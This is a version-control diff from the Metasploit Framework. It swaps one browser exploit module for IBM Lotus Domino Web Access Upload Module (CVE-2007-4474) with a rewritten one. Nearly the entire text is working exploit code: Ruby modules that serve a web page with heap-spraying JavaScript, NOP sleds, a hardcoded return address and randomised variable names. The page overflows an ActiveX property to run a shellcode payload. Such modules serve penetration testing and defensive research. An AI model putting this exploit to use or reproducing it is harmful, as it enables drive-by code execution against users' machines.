Replacement module (more reliable) from EB
git-svn-id: file:///home/svn/framework3/trunk@5416 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
685241ab31
commit
93d390e2da
|
@ -1,111 +0,0 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
class Exploits::Windows::Browser::IBMLotusDomino_dwa7w < Msf::Exploit::Remote
|
||||
|
||||
include Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'IBM Lotus Domino Web Access Upload Module dwa7w.dll Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack overflow in IBM Lotus Domino Web Access Upload Module.
|
||||
By sending an overly long string to the "General_ServerName()" property located
|
||||
in the dwa7w.dll control, an attacker may be able to execute
|
||||
arbitrary code.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'EB and MC' ],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', 'CVE-2007-4474' ],
|
||||
[ 'BID', '26972' ],
|
||||
[ 'URL', 'http://milw0rm.com/exploits/4820' ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 800,
|
||||
'BadChars' => "\x00\x09\x0a\x0d'\\",
|
||||
'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'IE 6 SP0-SP2 / Windows XP SP2 Pro English', { 'Ret' => 0x74c9de3e } ], # 02/07/08
|
||||
], # ./msfpescan -i /tmp/oleacc.dll | grep SEHandler
|
||||
'DisclosureDate' => 'Dec 20 2007',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def autofilter
|
||||
false
|
||||
end
|
||||
|
||||
def check_dependencies
|
||||
use_zlib
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
# Re-generate the payload
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
# Randomize some things
|
||||
vname = rand_text_alpha(rand(100) + 1)
|
||||
strname = rand_text_alpha(rand(100) + 1)
|
||||
rand1 = rand_text_alpha(rand(100) + 1)
|
||||
rand2 = rand_text_alpha(rand(100) + 1)
|
||||
rand3 = rand_text_alpha(rand(100) + 1)
|
||||
rand4 = rand_text_alpha(rand(100) + 1)
|
||||
rand5 = rand_text_alpha(rand(100) + 1)
|
||||
|
||||
# Set the exploit buffer
|
||||
filler = Rex::Text.to_unescape(rand_text_alpha(2))
|
||||
jmp = Rex::Text.to_unescape([0x909006EB].pack('V'))
|
||||
ret = Rex::Text.to_unescape([target.ret].pack('V'))
|
||||
sc = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
||||
|
||||
# Build out the message
|
||||
content = %Q|
|
||||
<html>
|
||||
<object classid='clsid:E008A543-CEFB-4559-912F-C27C2B89F13B' id='#{vname}'></object>
|
||||
<script language='javascript'>
|
||||
#{rand1} = unescape('#{filler}');
|
||||
while (#{rand1}.length <= 2461) #{rand1} = #{rand1} + unescape('#{filler}');
|
||||
#{rand2} = unescape('#{jmp}');
|
||||
#{rand3} = unescape('#{ret}');
|
||||
#{rand4} = unescape('#{sc}');
|
||||
#{strname} = #{rand1} + #{rand2} + #{rand3} + #{rand4};
|
||||
#{vname}.General_ServerName = #{strname};
|
||||
#{vname}.InstallBrowserHelperDll();
|
||||
</script>
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
# Handle the payload
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,133 @@
|
|||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
class Exploits::Windows::Browser::IBMLotusDomino_DWA_UploadModule < Msf::Exploit::Remote
|
||||
|
||||
include Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'IBM Lotus Domino Web Access Upload Module Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack overflow in IBM Lotus Domino Web Access Upload Module.
|
||||
By sending an overly long string to the "General_ServerName()" property located
|
||||
in the dwa7w.dll and the inotes6w.dll control, an attacker may be able to execute
|
||||
arbitrary code.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', 'CVE-2007-4474' ],
|
||||
[ 'BID', '26972' ],
|
||||
[ 'URL', 'http://milw0rm.com/exploits/4820' ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 800,
|
||||
'BadChars' => "\x00\x09\x0a\x0d'\\",
|
||||
'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Ret' => 0x0C0C0C0C } ]
|
||||
],
|
||||
'DisclosureDate' => 'Dec 20 2007',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def autofilter
|
||||
false
|
||||
end
|
||||
|
||||
def check_dependencies
|
||||
use_zlib
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
# Re-generate the payload
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
# Encode the shellcode
|
||||
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
||||
|
||||
# Setup exploit buffers
|
||||
nops = Rex::Text.to_unescape(make_nops(4))
|
||||
junk = Rex::Text.to_unescape(rand_text_alpha(2))
|
||||
ret = Rex::Text.to_unescape([target.ret].pack('V'))
|
||||
blocksize = 0x30000
|
||||
fillto = 400
|
||||
|
||||
# Randomize the javascript variable names
|
||||
dwa7w = rand_text_alpha(rand(100) + 1)
|
||||
inotes6 = rand_text_alpha(rand(100) + 1)
|
||||
j_shellcode = rand_text_alpha(rand(100) + 1)
|
||||
j_nops = rand_text_alpha(rand(100) + 1)
|
||||
j_headersize = rand_text_alpha(rand(100) + 1)
|
||||
j_slackspace = rand_text_alpha(rand(100) + 1)
|
||||
j_fillblock = rand_text_alpha(rand(100) + 1)
|
||||
j_block = rand_text_alpha(rand(100) + 1)
|
||||
j_memory = rand_text_alpha(rand(100) + 1)
|
||||
j_counter = rand_text_alpha(rand(30) + 2)
|
||||
j_ret = rand_text_alpha(rand(100) + 1)
|
||||
j_junk = rand_text_alpha(rand(100) + 1)
|
||||
|
||||
|
||||
# Build out the message
|
||||
content = %Q|
|
||||
<html>
|
||||
<object classid='clsid:E008A543-CEFB-4559-912F-C27C2B89F13B' id='#{dwa7w}'></object>
|
||||
<object classid='clsid:3BFFE033-BF43-11D5-A271-00A024A51325' id='#{inotes6}'></object>
|
||||
<script language='javascript'>
|
||||
#{j_shellcode} = unescape('#{shellcode}');
|
||||
#{j_nops} = unescape('#{nops}');
|
||||
#{j_headersize} = 20;
|
||||
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
|
||||
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
|
||||
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
|
||||
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
|
||||
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
|
||||
#{j_memory} = new Array();
|
||||
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
|
||||
#{j_ret} = unescape('#{ret}');
|
||||
while (#{j_ret}.length < 450) #{j_ret} += #{j_ret};
|
||||
#{j_junk} = unescape('#{junk}');
|
||||
while (#{j_junk}.length < 2000) #{j_junk} += #{j_junk};
|
||||
try {
|
||||
#{dwa7w}.General_ServerName = #{j_junk} + #{j_ret};
|
||||
#{dwa7w}.InstallBrowserHelperDll();
|
||||
#{inotes6}.General_ServerName = #{j_junk} + #{j_ret};
|
||||
#{inotes6}.InstallBrowserHelperDll();
|
||||
} catch(err) {}
|
||||
</script>
|
||||
</html>
|
||||
|
|
||||
|
||||
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
# Handle the payload
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue